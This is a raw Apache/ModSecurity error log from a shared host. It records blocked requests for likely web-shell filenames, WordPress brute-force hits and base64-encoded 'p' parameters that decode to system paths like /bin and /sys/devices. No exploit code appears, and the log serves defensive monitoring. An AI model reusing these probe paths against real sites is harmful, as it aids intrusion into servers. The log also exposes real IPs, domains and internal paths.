https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:10:50.611709 2026] [security2:error] [pid 531155:tid 531255] [remote 17.246.19.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xiimiP80klyS0Nnr5yAABgGM"] [Sat Jun 13 18:10:50.620540 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:50.620987 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:50.647020 2026] [mime:warn] [pid 531797:tid 532103] AH01602: Cannot get media parameter. [Sat Jun 13 18:10:50.652478 2026] [security2:error] [pid 531797:tid 532029] [client 52.139.36.182:41608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.36.139.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.minitouchrugby.nucreativesolutions.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xisTA7b1mZrmcA-8n3QAAAjQ"] [Sat Jun 13 18:10:50.660268 2026] [security2:error] [pid 531155:tid 531379] [client 20.9.67.71:36180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/htto.php"] [unique_id "ai3xiimiP80klyS0Nnr5ywAAAWg"] [Sat Jun 13 18:10:50.731850 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.3:32844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:50.732131 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.3:32844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:50.804589 2026] [security2:error] [pid 531155:tid 531325] [client 20.9.67.71:41878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/asu.php"] [unique_id "ai3xiimiP80klyS0Nnr50AAAATI"] [Sat Jun 13 18:10:51.096657 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:10:51.096950 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:10:51.153593 2026] [access_compat:error] [pid 531797:tid 531920] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:51.154035 2026] [access_compat:error] [pid 531797:tid 531920] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:51.202887 2026] [security2:error] [pid 531155:tid 531300] [client 172.56.168.133:18245] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xiymiP80klyS0Nnr51wAAARk"] [Sat Jun 13 18:10:51.203007 2026] [security2:error] [pid 531155:tid 531300] [client 172.56.168.133:18245] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xiymiP80klyS0Nnr51wAAARk"] [Sat Jun 13 18:10:51.224681 2026] [security2:error] [pid 531797:tid 532067] [client 20.9.67.71:36199] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/mg.php"] [unique_id "ai3xi8TA7b1mZrmcA-8n6gAAAlk"] [Sat Jun 13 18:10:51.324189 2026] [security2:error] [pid 531155:tid 531336] [client 191.234.188.123:63812] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-block.php"] [unique_id "ai3xiymiP80klyS0Nnr52QAAAT0"] [Sat Jun 13 18:10:51.392204 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.97:64364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:51.392622 2026] [access_compat:error] [pid 531797:tid 531874] [remote 57.141.14.97:64364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:51.507189 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.105:55844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:51.507607 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.105:55844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:51.536820 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.36:47724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:51.537251 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.36:47724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:51.607672 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:10:51.608029 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:10:51.640663 2026] [security2:error] [pid 531797:tid 532005] [client 172.171.3.232:52542] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/wp-4sd6kt.php"] [unique_id "ai3xi8TA7b1mZrmcA-8n9gAAAh0"] [Sat Jun 13 18:10:51.646352 2026] [security2:error] [pid 531797:tid 532075] [client 52.139.36.182:53039] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.36.139.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.minitouchrugby.nucreativesolutions.com"] [uri "/wpconf.php"] [unique_id "ai3xi8TA7b1mZrmcA-8n9wAAAmE"] [Sat Jun 13 18:10:51.651936 2026] [access_compat:error] [pid 531155:tid 531231] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:51.652218 2026] [access_compat:error] [pid 531155:tid 531231] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:51.763841 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:51.764129 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:51.872339 2026] [security2:error] [pid 531797:tid 532030] [client 20.9.67.71:36105] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/spawns.php"] [unique_id "ai3xi8TA7b1mZrmcA-8oAwAAAjU"] [Sat Jun 13 18:10:52.013209 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.61:36278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:52.013577 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.61:36278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:52.081954 2026] [security2:error] [pid 531797:tid 531912] [remote 17.246.23.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xjMTA7b1mZrmcA-8oCwACcjA"] [Sat Jun 13 18:10:52.142565 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:52.142855 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:52.330346 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:52.330857 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:52.341433 2026] [security2:error] [pid 531155:tid 531296] [client 209.141.37.7:55140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.37.141.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "protectourgreenbelt.com"] [uri "/wp-login.php"] [unique_id "ai3xjCmiP80klyS0Nnr5-QAAARU"] [Sat Jun 13 18:10:52.437897 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.75:53962] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:52.438334 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.75:53962] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:52.448545 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.98:30490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:52.448997 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.98:30490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:52.471791 2026] [security2:error] [pid 531797:tid 531931] [remote 17.241.227.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xjMTA7b1mZrmcA-8oFwACikM"] [Sat Jun 13 18:10:52.628935 2026] [security2:error] [pid 531797:tid 532067] [client 20.9.67.71:36223] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/dragonshell.php"] [unique_id "ai3xjMTA7b1mZrmcA-8oHAAAAlk"] [Sat Jun 13 18:10:52.645707 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:10:52.645980 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:10:52.661882 2026] [security2:error] [pid 531797:tid 532021] [client 185.223.152.109:27629] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.152.223.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "apcooperrefurbishments.co.uk"] [uri "/wp-login.php"] [unique_id "ai3xjMTA7b1mZrmcA-8oGwAAAi0"] [Sat Jun 13 18:10:52.720586 2026] [security2:error] [pid 531155:tid 531158] [remote 17.246.23.66:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xjCmiP80klyS0Nnr6BQABZgI"] [Sat Jun 13 18:10:52.809084 2026] [access_compat:error] [pid 531797:tid 531953] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:52.809520 2026] [access_compat:error] [pid 531797:tid 531953] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:52.931498 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.94:35274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:52.931797 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.94:35274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:53.054254 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.111:22080] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:53.054542 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.111:22080] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:53.077699 2026] [security2:error] [pid 531797:tid 532074] [client 20.151.217.54:48086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/sadcut1.php"] [unique_id "ai3xjcTA7b1mZrmcA-8oKAAAAmA"] [Sat Jun 13 18:10:53.097264 2026] [security2:error] [pid 531797:tid 532099] [client 20.9.67.71:36208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/samll.php"] [unique_id "ai3xjcTA7b1mZrmcA-8oKQAAAng"] [Sat Jun 13 18:10:53.097773 2026] [security2:error] [pid 531797:tid 532005] [client 172.171.3.232:29068] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/wp-ssfc.php"] [unique_id "ai3xjcTA7b1mZrmcA-8oKgAAAh0"] [Sat Jun 13 18:10:53.132564 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.104:63660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:53.133047 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.104:63660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:53.224365 2026] [security2:error] [pid 531797:tid 532044] [client 191.234.188.123:48070] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/classc.php"] [unique_id "ai3xjcTA7b1mZrmcA-8oMQAAAkM"] [Sat Jun 13 18:10:53.235568 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 